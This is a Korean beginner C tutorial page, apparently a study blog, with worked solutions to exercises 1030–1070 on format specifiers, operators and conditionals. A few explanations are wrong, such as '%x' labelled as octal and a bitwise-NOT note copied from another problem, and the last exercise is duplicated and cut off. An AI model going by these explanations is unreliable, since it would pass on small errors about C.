<h2 id="1030--기초-데이터형-정수-1개-입력받아-그대로-출력하기3설명">1030 : [기초-데이터형] 정수 1개 입력받아 그대로 출력하기3(설명)</h2>
<h3 id="입력-27">입력</h3>
<p>-2147483649</p>
<h3 id="출력-27">출력</h3>
<p>-2147483649</p>
<h3 id="풀이-27">풀이</h3>
<p>long long int형의 변수에 값을 할당받고 출력</p>
<blockquote>
</blockquote>
<p>long long int형 - int형보다 더 넓은 범위의 자연수를 할당 가능
%d - int형
%lld - long long int형</p>
<pre><code>#include &lt;stdio.h&gt;
int main(){
    long long int n;
    scanf(&quot;%lld&quot;, &amp;n);
    printf(&quot;%lld&quot;, n);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1031--기초-출력변환-10진-정수-1개-입력받아-8진수로-출력하기설명">1031 : [기초-출력변환] 10진 정수 1개 입력받아 8진수로 출력하기(설명)</h2>
<h3 id="입력-28">입력</h3>
<p>10</p>
<h3 id="출력-28">출력</h3>
<p>12</p>
<h3 id="풀이-28">풀이</h3>
<p>10진수를 입력받아 8진수로 출력</p>
<blockquote>
</blockquote>
<p>%d - 10진수
%x - 8진수</p>
<pre><code>#include &lt;stdio.h&gt;
int main() {
    int a;
    scanf(&quot;%d&quot;, &amp;a);

    printf(&quot;%o&quot;, a);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1032--기초-출력변환-10진-정수-입력받아-16진수로-출력하기1설명">1032 : [기초-출력변환] 10진 정수 입력받아 16진수로 출력하기1(설명)</h2>
<h3 id="입력-29">입력</h3>
<p>255</p>
<h3 id="출력-29">출력</h3>
<p>ff</p>
<h3 id="풀이-29">풀이</h3>
<p>10진수를 입력받아 16진수(소문자)로 출력</p>
<blockquote>
</blockquote>
<p>%d - 10진수
%x - 16진수(소문자)</p>
<pre><code>#include &lt;stdio.h&gt;
int main() {
    int a;
    scanf(&quot;%d&quot;, &amp;a);

    printf(&quot;%x&quot;, a);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1033--기초-출력변환-10진-정수-입력받아-16진수로-출력하기2설명">1033 : [기초-출력변환] 10진 정수 입력받아 16진수로 출력하기2(설명)</h2>
<h3 id="입력-30">입력</h3>
<p>255</p>
<h3 id="출력-30">출력</h3>
<p>FF</p>
<h3 id="풀이-30">풀이</h3>
<p>10진수를 입력받아 16진수(대문자)로 출력</p>
<blockquote>
</blockquote>
<p>%d - 10진수
%X - 16진수(대문자)</p>
<pre><code>#include &lt;stdio.h&gt;
int main() {
    int a;
    scanf(&quot;%d&quot;, &amp;a);

    printf(&quot;%X&quot;, a);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1034--기초-출력변환-8진-정수-1개-입력받아-10진수로-출력하기설명">1034 : [기초-출력변환] 8진 정수 1개 입력받아 10진수로 출력하기(설명)</h2>
<h3 id="입력-31">입력</h3>
<p>13</p>
<h3 id="출력-31">출력</h3>
<p>11</p>
<h3 id="풀이-31">풀이</h3>
<p>8진수를 입력받아 10진수로 출력</p>
<blockquote>
</blockquote>
<p>%o - 8진수
%d - 10진수</p>
<pre><code>#include &lt;stdio.h&gt;
int main() {
    int a;
    scanf(&quot;%o&quot;, &amp;a);

    printf(&quot;%d&quot;, a);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1035--기초-출력변환-16진-정수-1개-입력받아-8진수로-출력하기설명">1035 : [기초-출력변환] 16진 정수 1개 입력받아 8진수로 출력하기(설명)</h2>
<h3 id="입력-32">입력</h3>
<p>f</p>
<h3 id="출력-32">출력</h3>
<p>17</p>
<h3 id="풀이-32">풀이</h3>
<p>16진수를 입력받아 8진수로 출력</p>
<blockquote>
</blockquote>
<p>%x - 16진수
%o - 8진수</p>
<pre><code>#include &lt;stdio.h&gt;
int main() {
    int a;
    scanf(&quot;%x&quot;, &amp;a);

    printf(&quot;%o&quot;, a);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1036--기초-출력변환-영문자-1개-입력받아-10진수로-출력하기설명">1036 : [기초-출력변환] 영문자 1개 입력받아 10진수로 출력하기(설명)</h2>
<h3 id="입력-33">입력</h3>
<p>A</p>
<h3 id="출력-33">출력</h3>
<p>65</p>
<h3 id="풀이-33">풀이</h3>
<p>문자를 입력받고, 고유 아스키코드값을 이용하여 정수로 출력</p>
<blockquote>
</blockquote>
<p>getchar() - 문자 한 개를 입력받는 함수</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    char c;

    c = getchar();

    printf(&quot;%d&quot;, c);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1037--기초-출력변환-정수-입력받아-아스키-문자로-출력하기">1037 : [기초-출력변환] 정수 입력받아 아스키 문자로 출력하기</h2>
<h3 id="입력-34">입력</h3>
<p>65</p>
<h3 id="출력-34">출력</h3>
<p>A</p>
<h3 id="풀이-34">풀이</h3>
<p>정수를 입력받고, 고유 아스키코드값을 이용하여 문자로 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int d;

    scanf(&quot;%d&quot;, &amp;d);

    printf(&quot;%c&quot;, d);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1038--기초-산술연산-정수-2개-입력받아-합-출력하기1설명">1038 : [기초-산술연산] 정수 2개 입력받아 합 출력하기1(설명)</h2>
<h3 id="입력-35">입력</h3>
<p>123 -123</p>
<h3 id="출력-35">출력</h3>
<p>0</p>
<h3 id="풀이-35">풀이</h3>
<p>정수 2개를 입력받고, 더한 값을 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    long int x, y;

    scanf(&quot;%ld %ld&quot;, &amp;x, &amp;y);

    printf(&quot;%ld&quot;, x+y);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1039--기초-산술연산-정수-2개-입력받아-합-출력하기2설명">1039 : [기초-산술연산] 정수 2개 입력받아 합 출력하기2(설명)</h2>
<h3 id="입력-36">입력</h3>
<p>2147483648 2147483648</p>
<h3 id="출력-36">출력</h3>
<p>4294967296</p>
<h3 id="풀이-36">풀이</h3>
<p>정수 2개를 입력받고, 더한 값을 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    long long int x, y;

    scanf(&quot;%lld %lld&quot;, &amp;x, &amp;y);

    printf(&quot;%lld&quot;, x+y);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1040--기초-산술연산-정수-1개-입력받아-부호-바꿔-출력하기설명">1040 : [기초-산술연산] 정수 1개 입력받아 부호 바꿔 출력하기(설명)</h2>
<h3 id="입력-37">입력</h3>
<p>-1</p>
<h3 id="출력-37">출력</h3>
<p>1</p>
<h3 id="풀이-37">풀이</h3>
<p>정수를 입력받아 &#39;-&#39;를 곱하여 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int a;
    scanf(&quot;%d&quot;, &amp;a);

    printf(&quot;%d&quot;, -a);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1041--기초-산술연산-문자-1개-입력받아-다음-문자-출력하기설명">1041 : [기초-산술연산] 문자 1개 입력받아 다음 문자 출력하기(설명)</h2>
<h3 id="입력-38">입력</h3>
<p>a</p>
<h3 id="출력-38">출력</h3>
<p>b</p>
<h3 id="풀이-38">풀이</h3>
<p>고유 아스키코드값에 +1을 하여 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    char c;

    c = getchar();

    printf(&quot;%c&quot;, c+1);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1042--기초-산술연산-정수-2개-입력받아-나눈-몫-출력하기설명">1042 : [기초-산술연산] 정수 2개 입력받아 나눈 몫 출력하기(설명)</h2>
<h3 id="입력-39">입력</h3>
<p>1 3</p>
<h3 id="출력-39">출력</h3>
<p>0</p>
<h3 id="풀이-39">풀이</h3>
<p>연산자 &#39;/&#39;를 사용하여 몫 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int a, b;
    scanf(&quot;%d %d&quot;, &amp;a, &amp;b);

    printf(&quot;%d&quot;, a/b);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1043--기초-산술연산-정수-2개-입력받아-나눈-나머지-출력하기설명">1043 : [기초-산술연산] 정수 2개 입력받아 나눈 나머지 출력하기(설명)</h2>
<h3 id="입력-40">입력</h3>
<p>10 3</p>
<h3 id="출력-40">출력</h3>
<p>1</p>
<h3 id="풀이-40">풀이</h3>
<p>연산자 &#39;%&#39;를 사용하여 나머지 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int a, b;
    scanf(&quot;%d %d&quot;, &amp;a, &amp;b);

    printf(&quot;%d&quot;, a%b);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1044--기초-산술연산-정수-1개-입력받아-1-더해-출력하기설명">1044 : [기초-산술연산] 정수 1개 입력받아 1 더해 출력하기(설명)</h2>
<h3 id="입력-41">입력</h3>
<p>2147483647</p>
<h3 id="출력-41">출력</h3>
<p>2147483648</p>
<h3 id="풀이-41">풀이</h3>
<p>long long int형을 이용하여 변수 &#39;a&#39;에 1을 더한 후, 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    long long int a;
    scanf(&quot;%lld&quot;, &amp;a);

    printf(&quot;%lld&quot;, ++a);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1045--기초-산술연산-정수-2개-입력받아-자동-계산하기">1045 : [기초-산술연산] 정수 2개 입력받아 자동 계산하기</h2>
<h3 id="입력-42">입력</h3>
<p>10 3</p>
<h3 id="출력-42">출력</h3>
<p>13
7
30
3
1
3.33</p>
<h3 id="풀이-42">풀이</h3>
<p>연산자 &#39;+&#39;, &#39;-&#39;, &#39;*&#39;, &#39;/&#39;, &#39;%&#39;를 이용하여 출력 형식에 맞게 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int a, b;
    scanf(&quot;%d %d&quot;, &amp;a, &amp;b);

    printf(&quot;%d\n&quot;, a+b);
    printf(&quot;%d\n&quot;, a-b);
    printf(&quot;%d\n&quot;, a*b);
    printf(&quot;%d\n&quot;, a/b);
    printf(&quot;%d\n&quot;, a%b);
    printf(&quot;%.2f&quot;, (float)a/b);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1046--기초-산술연산-정수-3개-입력받아-합과-평균-출력하기">1046 : [기초-산술연산] 정수 3개 입력받아 합과 평균 출력하기</h2>
<h3 id="입력-43">입력</h3>
<p>1 2 3</p>
<h3 id="출력-43">출력</h3>
<p>6
2.0</p>
<h3 id="풀이-43">풀이</h3>
<p>연산자를 이용하여 세 수의 합과 평균을 출력 </p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int a, b, c;
    scanf(&quot;%d %d %d&quot;, &amp;a, &amp;b, &amp;c);

    printf(&quot;%d\n&quot;, a+b+c);
    printf(&quot;%.1f\n&quot;, (float)(a+b+c)/3);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1047--기초-비트시프트연산-정수-1개-입력받아-2배-곱해-출력하기설명">1047 : [기초-비트시프트연산] 정수 1개 입력받아 2배 곱해 출력하기(설명)</h2>
<h3 id="입력-44">입력</h3>
<p>1024</p>
<h3 id="출력-44">출력</h3>
<p>2048</p>
<h3 id="풀이-44">풀이</h3>
<p>비트시프트 연산을 통해 입력받은 정수를 2배 한 정수를 출력</p>
<blockquote>
</blockquote>
<p>printf(&quot;%d&quot;, a&lt;&lt;1); // 10을 2배 한 값인 20 이 출력
printf(&quot;%d&quot;, a&gt;&gt;1); // 10을 반으로 나눈 값인 5 가 출력
printf(&quot;%d&quot;, a&lt;&lt;2); // 10을 4배 한 값인 40 이 출력
printf(&quot;%d&quot;, a&gt;&gt;2); // 10을 반으로 나눈 후 다시 반으로 나눈 값인 2 가 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int a;
    scanf(&quot;%d&quot;, &amp;a);

    printf(&quot;%d&quot;, a &lt;&lt; 1);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1048--기초-비트시프트연산-한-번에-2의-거듭제곱-배로-출력하기설명">1048 : [기초-비트시프트연산] 한 번에 2의 거듭제곱 배로 출력하기(설명)</h2>
<h3 id="입력-45">입력</h3>
<p>1 3</p>
<h3 id="출력-45">출력</h3>
<p>8</p>
<h3 id="풀이-45">풀이</h3>
<p>비트시프트 연산을 통해 입력받은 정수를 2배 한 정수를 출력</p>
<blockquote>
</blockquote>
<p>printf(&quot;%d&quot;, 1 &lt;&lt; 3); // 1 * 2 * 2 * 2가 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int a, b;
    scanf(&quot;%d %d&quot;, &amp;a, &amp;b);

    printf(&quot;%d&quot;, a &lt;&lt; b);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1049--기초-비교연산-두-정수-입력받아-비교하기1설명">1049 : [기초-비교연산] 두 정수 입력받아 비교하기1(설명)</h2>
<h3 id="입력-46">입력</h3>
<p>9 1</p>
<h3 id="출력-46">출력</h3>
<p>1</p>
<h3 id="풀이-46">풀이</h3>
<p>입력받은 두 정수를 대소비교하여 첫 번째 입력값이 더 크면 1을 출력</p>
<blockquote>
</blockquote>
<p>&lt; : 오른쪽값이 왼쪽값보디 크면 1, 아니면 0</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int a, b;
    scanf(&quot;%d %d&quot;, &amp;a, &amp;b);

    printf(&quot;%d&quot;, a &gt; b);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1050--기초-비교연산-두-정수-입력받아-비교하기2설명">1050 : [기초-비교연산] 두 정수 입력받아 비교하기2(설명)</h2>
<h3 id="입력-47">입력</h3>
<p>0 0</p>
<h3 id="출력-47">출력</h3>
<p>1</p>
<h3 id="풀이-47">풀이</h3>
<p>입력받은 두 정수의 값이 같으면 1을 출력</p>
<blockquote>
</blockquote>
<p>== : 두 수가 같으면 1, 다르면 0</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int a, b;
    scanf(&quot;%d %d&quot;, &amp;a, &amp;b);

    printf(&quot;%d&quot;, a == b);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1051--기초-비교연산-두-정수-입력받아-비교하기3설명">1051 : [기초-비교연산] 두 정수 입력받아 비교하기3(설명)</h2>
<h3 id="입력-48">입력</h3>
<p>0 -1</p>
<h3 id="출력-48">출력</h3>
<p>0</p>
<h3 id="풀이-48">풀이</h3>
<p>입력받은 두 정수를 대소비교하여 두 번째 입력값이 더 크거나 같은 경우 1을 출력</p>
<blockquote>
</blockquote>
<p>&lt;= : 오른쪽값이 왼쪽값보다 크거나 같으면 1, 아니면 0</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int a, b;
    scanf(&quot;%d %d&quot;, &amp;a, &amp;b);

    printf(&quot;%d&quot;, a &lt;= b);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1052--기초-비교연산-두-정수-입력받아-비교하기4설명">1052 : [기초-비교연산] 두 정수 입력받아 비교하기4(설명)</h2>
<h3 id="입력-49">입력</h3>
<p>0 1</p>
<h3 id="출력-49">출력</h3>
<p>1</p>
<h3 id="풀이-49">풀이</h3>
<p>입력받은 두 정수가 다른 경우 1을 출력</p>
<blockquote>
</blockquote>
<p>!= : 두 수가 다르면 1, 같으면 0</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int a, b;
    scanf(&quot;%d %d&quot;, &amp;a, &amp;b);

    printf(&quot;%d&quot;, a != b);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1053--기초-논리연산-참-거짓-바꾸기설명">1053 : [기초-논리연산] 참 거짓 바꾸기(설명)</h2>
<h3 id="입력-50">입력</h3>
<p>1</p>
<h3 id="출력-50">출력</h3>
<p>0</p>
<h3 id="풀이-50">풀이</h3>
<p>! 를 이용하여 정수 하나의 값을 입력받아 반대로 출력</p>
<blockquote>
</blockquote>
<p>! :  참이면 거짓, 거짓이면 참</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int a;
    scanf(&quot;%d&quot;, &amp;a);

    printf(&quot;%d&quot;, !a);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1054--기초-논리연산-둘-다-참일-경우만-참-출력하기설명">1054 : [기초-논리연산] 둘 다 참일 경우만 참 출력하기(설명)</h2>
<h3 id="입력-51">입력</h3>
<p>1 1</p>
<h3 id="출력-51">출력</h3>
<p>1</p>
<h3 id="풀이-51">풀이</h3>
<p>&amp;&amp; 를 이용하여 출력 형식에 맞도록 출력</p>
<blockquote>
</blockquote>
<p>&amp;&amp; :  두 수가 참이면 참, 하나라도 거짓이면 거짓</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int a, b;
    scanf(&quot;%d %d&quot;, &amp;a, &amp;b);

    printf(&quot;%d&quot;, a &amp;&amp; b);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1055--기초-논리연산-하나라도-참이면-참-출력하기설명">1055 : [기초-논리연산] 하나라도 참이면 참 출력하기(설명)</h2>
<h3 id="입력-52">입력</h3>
<p>1 1</p>
<h3 id="출력-52">출력</h3>
<p>1</p>
<h3 id="풀이-52">풀이</h3>
<p>|| 를 이용하여 출력 형식에 맞도록 출력</p>
<blockquote>
</blockquote>
<p>|| :  둘 중 하나라도 참이라면 참, 둘 다 거짓일때만 거짓</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int a, b;
    scanf(&quot;%d %d&quot;, &amp;a, &amp;b);

    printf(&quot;%d&quot;, a || b);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1056--기초-논리연산-참거짓이-서로-다를-때에만-참-출력하기설명">1056 : [기초-논리연산] 참/거짓이 서로 다를 때에만 참 출력하기(설명)</h2>
<h3 id="입력-53">입력</h3>
<p>1 1</p>
<h3 id="출력-53">출력</h3>
<p>0</p>
<h3 id="풀이-53">풀이</h3>
<p>비교 연산자를 활용하여 출력 형식에 맞도록 출력</p>
<blockquote>
</blockquote>
<p>XOR(베타적 논리합)
(a&amp;&amp;!b) || (!a&amp;&amp;b) : 참 / 거짓이 서로 다를 때에만 1로 계산</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int a, b;
    scanf(&quot;%d %d&quot;, &amp;a, &amp;b);

    printf(&quot;%d&quot;, (a&amp;&amp;!b) || (!a&amp;&amp;b));

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1057--기초-논리연산-참거짓이-서로-같을-때에만-참-출력하기">1057 : [기초-논리연산] 참/거짓이 서로 같을 때에만 참 출력하기</h2>
<h3 id="입력-54">입력</h3>
<p>0 0</p>
<h3 id="출력-54">출력</h3>
<p>1</p>
<h3 id="풀이-54">풀이</h3>
<p>양쪽이 둘 다 참 혹은 둘 다 거짓일때만 1 이 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int a, b;
    scanf(&quot;%d %d&quot;, &amp;a, &amp;b);

    printf(&quot;%d&quot;, (a&amp;&amp;b) || (!a&amp;&amp;!b));

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1058--기초-논리연산-둘-다-거짓일-경우만-참-출력하기">1058 : [기초-논리연산] 둘 다 거짓일 경우만 참 출력하기</h2>
<h3 id="입력-55">입력</h3>
<p>0 1</p>
<h3 id="출력-55">출력</h3>
<p>0</p>
<h3 id="풀이-55">풀이</h3>
<p>양쪽이 모두 거짓일때만 1 이 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int a, b;
    scanf(&quot;%d %d&quot;, &amp;a, &amp;b);

    printf(&quot;%d&quot;, !(a||b));

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1059--기초-비트단위논리연산-비트단위로-not-하여-출력하기설명">1059 : [기초-비트단위논리연산] 비트단위로 NOT 하여 출력하기(설명)</h2>
<h3 id="입력-56">입력</h3>
<p>2</p>
<h3 id="출력-56">출력</h3>
<p>-3</p>
<h3 id="풀이-56">풀이</h3>
<p>양쪽이 모두 거짓일때만 1 이 출력</p>
<blockquote>
</blockquote>
<p>~ : 정수값을 2진수로 변환하여 0인 부분은 1로, 1인 부분은 0으로 바꿈</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int a;
    scanf(&quot;%d&quot;, &amp;a);

    printf(&quot;%d&quot;, ~a);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1060--기초-비트단위논리연산-비트단위로-and-하여-출력하기설명">1060 : [기초-비트단위논리연산] 비트단위로 AND 하여 출력하기(설명)</h2>
<h3 id="입력-57">입력</h3>
<p>3 5</p>
<h3 id="출력-57">출력</h3>
<p>1</p>
<h3 id="풀이-57">풀이</h3>
<p>&amp; 를 사용하여 두 수의 2진수값을 비교하여 출력 형식에 맞게 출력</p>
<blockquote>
</blockquote>
<p>&amp; : 두 개의 정수값을 2진수로 변환하고 비교하여 같은 자릿값에 1이 있으면 1
다르거나 둘 다 0이면 0으로 정리하여 계산</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int a, b;
    scanf(&quot;%d %d&quot;, &amp;a, &amp;b);

    printf(&quot;%d&quot;, a&amp;b);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1061--기초-비트단위논리연산-비트단위로-or-하여-출력하기설명">1061 : [기초-비트단위논리연산] 비트단위로 OR 하여 출력하기(설명)</h2>
<h3 id="입력-58">입력</h3>
<p>3 5</p>
<h3 id="출력-58">출력</h3>
<p>7</p>
<h3 id="풀이-58">풀이</h3>
<p>| 를 사용하여 두 수의 2진수값을 비교하여 출력 형식에 맞게 출력</p>
<blockquote>
</blockquote>
<p>| : 두 개의 정수값을 2진수로 변환하고 비교하여 같은 자릿값에 0이 있으면 0,
둘 중 하나가 1 이거나 둘 다 1인 경우 1로 계산</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int a, b;
    scanf(&quot;%d %d&quot;, &amp;a, &amp;b);

    printf(&quot;%d&quot;, a | b);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1062--기초-비트단위논리연산-비트단위로-xor-하여-출력하기설명">1062 : [기초-비트단위논리연산] 비트단위로 XOR 하여 출력하기(설명)</h2>
<h3 id="입력-59">입력</h3>
<p>3 5</p>
<h3 id="출력-59">출력</h3>
<p>6</p>
<h3 id="풀이-59">풀이</h3>
<p>^ 를 사용하여 두 수의 2진수값을 비교하여 출력 형식에 맞게 출력</p>
<blockquote>
</blockquote>
<p>^ : 두 개의 정수값을 2진수로 변환하고 비교하여 같은 자릿값에
서로 다른 수가 있으면 1, 같은 수가 있으면 0으로 계산</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int a, b;
    scanf(&quot;%d %d&quot;, &amp;a, &amp;b);

    printf(&quot;%d&quot;, a^b);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1063--기초-삼항연산-두-정수-입력받아-큰-수-출력하기설명">1063 : [기초-삼항연산] 두 정수 입력받아 큰 수 출력하기(설명)</h2>
<h3 id="입력-60">입력</h3>
<p>123 456</p>
<h3 id="출력-60">출력</h3>
<p>456</p>
<h3 id="풀이-60">풀이</h3>
<p>두 수를 입력받아 더 큰 수를 출력하도록 삼항연산을 통해 출력</p>
<blockquote>
</blockquote>
<p>(조건식) ? 실행1 : 실행2
조건식이 참이면 실행1 을 거짓이면 실행2 를 실행 </p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int a, b;
    scanf(&quot;%d %d&quot;, &amp;a, &amp;b);

    (a &gt; b) ? printf(&quot;%d&quot;, a) : printf(&quot;%d&quot;, b);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1064--기초-삼항연산-정수-3개-입력받아-가장-작은-수-출력하기설명">1064 : [기초-삼항연산] 정수 3개 입력받아 가장 작은 수 출력하기(설명)</h2>
<h3 id="입력-61">입력</h3>
<p>3 -1 5</p>
<h3 id="출력-61">출력</h3>
<p>-1</p>
<h3 id="풀이-61">풀이</h3>
<p>삼항연산을 중첩시켜 3개의 수를 비교한 후, 가장 작은 값을 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int n1, n2, n3;
    scanf(&quot;%d %d %d&quot;, &amp;n1, &amp;n2, &amp;n3);

    (n1 &gt; n2) ? (n3 &gt; n2) ? printf(&quot;%d&quot;, n2) : printf(&quot;%d&quot;, n3) : (n1 &gt; n3) ? printf(&quot;%d&quot;, n3) : printf(&quot;%d&quot;, n1);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1065--기초-조건선택실행구조-정수-3개-입력받아-짝수만-출력하기설명">1065 : [기초-조건/선택실행구조] 정수 3개 입력받아 짝수만 출력하기(설명)</h2>
<h3 id="입력-62">입력</h3>
<p>1 2 4</p>
<h3 id="출력-62">출력</h3>
<p>2
4</p>
<h3 id="풀이-62">풀이</h3>
<p>조건문을 이용해 2 로 나누었을때, 나머지가 0인 수들만 검사하여 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int arr[3];

    for (int i = 0; i &lt; 3; i++) {
        scanf(&quot;%d&quot;, &amp;arr[i]);
    }

    for (int i = 0; i &lt; 3; i++) {
        if (arr[i] % 2 == 0)
            printf(&quot;%d &quot;, arr[i]);
    }

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1066--기초-조건선택실행구조-정수-3개-입력받아-짝홀-출력하기설명">1066 : [기초-조건/선택실행구조] 정수 3개 입력받아 짝/홀 출력하기(설명)</h2>
<h3 id="입력-63">입력</h3>
<p>1 2 8</p>
<h3 id="출력-63">출력</h3>
<p>odd
even
even</p>
<h3 id="풀이-63">풀이</h3>
<p>조건문을 이용해 2 로 나누었을때, 나머지가 0인 수들 even 아니면 odd로 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int arr[3];

    for (int i = 0; i &lt; 3; i++) {
        scanf(&quot;%d&quot;, &amp;arr[i]);
    }

    for (int i = 0; i &lt; 3; i++) {
        if (arr[i] % 2 == 0)
            printf(&quot;even\n&quot;);
        else
            printf(&quot;odd\n&quot;);
    }

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1067--기초-조건선택실행구조-정수-1개-입력받아-분석하기설명">1067 : [기초-조건/선택실행구조] 정수 1개 입력받아 분석하기(설명)</h2>
<h3 id="입력-64">입력</h3>
<p>-2147483648</p>
<h3 id="출력-64">출력</h3>
<p>minus
even</p>
<h3 id="풀이-64">풀이</h3>
<p>0보다 크면 plus, 작으면 minus를 출력
조건문을 이용해 2 로 나누었을때, 나머지가 0인 수들 even 아니면 odd로 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int num;
    scanf(&quot;%d&quot;, &amp;num);

    if (num &gt; 0)
    {
        if (num % 2 == 0)
        {
            printf(&quot;plus\neven&quot;);
        }else
        {
            printf(&quot;plus\nodd&quot;);
        }
    }else
    {
        if (num % 2 == 0)
        {
            printf(&quot;minus\neven&quot;);
        }else
        {
            printf(&quot;minus\nodd&quot;);
        }
    }

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1068--기초-조건선택실행구조-정수-1개-입력받아-평가-출력하기설명">1068 : [기초-조건/선택실행구조] 정수 1개 입력받아 평가 출력하기(설명)</h2>
<h3 id="입력-65">입력</h3>
<p>73</p>
<h3 id="출력-65">출력</h3>
<p>B</p>
<h3 id="풀이-65">풀이</h3>
<p>점수를 입력받고, 조건물을 통해 판단하여 등급 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int score;
    scanf(&quot;%d&quot;, &amp;score);

    if (score &gt;= 90) {
        printf(&quot;A&quot;);
    }else if (score &gt;= 70) {
        printf(&quot;B&quot;);
    }else if (score &gt;= 40) {
        printf(&quot;C&quot;);
    }else {
        printf(&quot;D&quot;);
    }

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1069--기초-조건선택실행구조-평가-입력받아-다르게-출력하기설명">1069 : [기초-조건/선택실행구조] 평가 입력받아 다르게 출력하기(설명)</h2>
<h3 id="입력-66">입력</h3>
<p>A</p>
<h3 id="출력-66">출력</h3>
<p>best!!!</p>
<h3 id="풀이-66">풀이</h3>
<p>switch ~ case 을 이용하여 입력받은 문자를 판단하여 올바른 문장 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    char c;
    c = getchar();

    switch(c) {
        case &#39;A&#39; : printf(&quot;best!!!&quot;); break;
        case &#39;B&#39; : printf(&quot;good!!&quot;); break;
        case &#39;C&#39; : printf(&quot;run!&quot;); break;
        case &#39;D&#39; : printf(&quot;slowly~&quot;); break;
        default : printf(&quot;what?&quot;); break;
    }

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1070--기초-조건선택실행구조-월-입력받아-계절-출력하기설명">1070 : [기초-조건/선택실행구조] 월 입력받아 계절 출력하기(설명)</h2>
<h3 id="입력-67">입력</h3>
<p>12</p>
<h3 id="출력-67">출력</h3>
<p>winter</p>
<h3 id="풀이-67">풀이</h3>
<p>break를 사용하지 않으면 밑에 케이스까지 출력되는 것을 이용하여,
지정된 형식에 맞게 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int num;
    scanf(&quot;%d&quot;, &amp;num);

    switch (num) {
        case 12 :
        case 1 :
        case 2 : printf(&quot;winter&quot;); break;
        case 3 :
        case 4 :
        case 5 : printf(&quot;spring&quot;); break;
        case 6 :
        case 7 :
        case 8 : printf(&quot;summer&quot;); break;
        case 9 :
        case 10 :
        case 11 : printf(&quot;fall&quot;); break;
    }
}</code></pre><blockquote>
</blockquote>
<h2 id="1070--기초-조건선택실행구조-월-입력받아-계절-출력하기설명-1">1070 : [기초-조건/선택실행구조] 월 입력받아 계절 출력하기(설명)</h2>
<h3 id="입력-68">입력</h3>
<p>12</p>
<h3 id="출력-68">출력</h3>
<p>winter</p>
<h3 id="풀이-68">풀이</h3>
